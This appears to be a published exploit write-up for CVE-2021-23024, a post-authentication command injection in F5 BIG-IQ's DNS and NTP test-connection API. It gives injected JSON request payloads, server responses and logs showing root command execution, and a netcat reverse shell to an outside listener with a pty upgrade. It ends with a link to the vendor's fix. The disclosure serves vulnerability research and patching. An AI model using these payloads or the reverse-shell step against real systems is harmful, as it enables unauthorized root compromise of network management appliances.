F5 BIG-IQ VE version 8.0.0-2923215 post-authentication remote root code execution exploit.
a11dfe5c02989bd70fe132ae0aa3fd92F5 BIG-IQ VE v8.0.0-2923215 Post-auth Remote Root RCE
CVE-2021-23024
=======
Details
=======
It was possible to execute commands with root privileges as an authenticated privileged user via command injection in easy-setup-test-connection.
There are two blind command injection bugs in Test DNS Connection and Test NTP Connection features, which make request to mgmt/shared/system/easy-setup-test-connection.
User accounts tested for calling the API:
- Admin
- User + Administrator Role
SSH is enabled by default for the root user, but the system does not intend the admin account to gain a shell access:
admin:x:0:500:Admin User:/home/admin:/bin/false
But an admin (or a user with admin-like privileges) can elevate privileges to root and gain a shell via command injection in the web portal.
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Repro
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https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit
Modify and replay back the dnsServerAddresses JSON field.
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Request
=======
PUT /mgmt/shared/system/easy-setup-test-connection HTTP/1.1
X-F5-Auth-Token: eyJraW.....
.....
{"dnsServerAddresses":["$(id>/tmp/id)"],"ntpServerAddresses":[]}
or
{"dnsServerAddresses":["8.8.8.8"],"ntpServerAddresses":["$(whoami)"]}
========
Response
========
HTTP/1.1 400 Bad Request
Server: webd
.....
{"code":400,"message":"Dns $(id>/tmp/id) is not valid\n","originalRequestBody":"{\"dnsServerAddresses\":[\"$(id>/tmp/id)\"],\"ntpServerAddresses\":[]}","referer":"https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit","restOperationId":2101063,"errorStack":[],"kind":":resterrorresponse"}
and repectively
{"code":400,"message":"NTP $(whoami) is not valid\n","originalRequestBody":"{\"dnsServerAddresses\":[\"8.8.8.8\"],\"ntpServerAddresses\":[\"$(whoami)\"]}","referer":"https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit","restOperationId":2149253,"errorStack":[],"kind":":resterrorresponse"}
=============
Execution Log
=============
DNS:
pid=7349 executed [/bin/sh -c dig +short +time=5 +tries=1 @$(id>/tmp/id) ]
pid=7351 executed [id ]
pid=7349 executed [dig +short +time=5 +tries=1 @ ]
[root@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] config # cat /tmp/id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
NTP:
pid=1288 executed [/bin/sh -c dig +short +time=5 +tries=1 @8.8.8.8 $(whoami) ]
pid=1290 executed [whoami ]
pid=1288 executed [dig +short +time=5 +tries=1 @8.8.8.8 root ]
============
Exploitation
============
The netcat binary with -e support is installed on the system already making a remote shell easy for demo.
A command such as this will provide the connection to our client listener: "nc 10.0.0.100 5000 -e /bin/bash" while on the client we will drop into a root shell on the bigiq server.
$ nc -l -p 5000
... connection receieved
python -c 'import pty; pty.spawn("/bin/bash")'
[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # pwd
/var/service/restjavad
[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # ps
.....
32320 ? S 0:00 su elasticsearch -s /bin/bash -c export JAVA_HOME=/usr/lib/jvm/jre-1.8.0-openjdk.x86_64;export ES_JAVA_OPTS='-Xms6000m -Xmx6000m';export ES_PATH_CONF=/var/config/rest/elasticsearch/config;exec bin/elasticsearch >/dev/null 2>&1
32335 tty1 S 0:00 python -c import pty; pty.spawn("/bin/bash")
32336 pts/0 Ss 0:00 /bin/bash
===
Fix
===
https://support.f5.com/csp/article/K06024431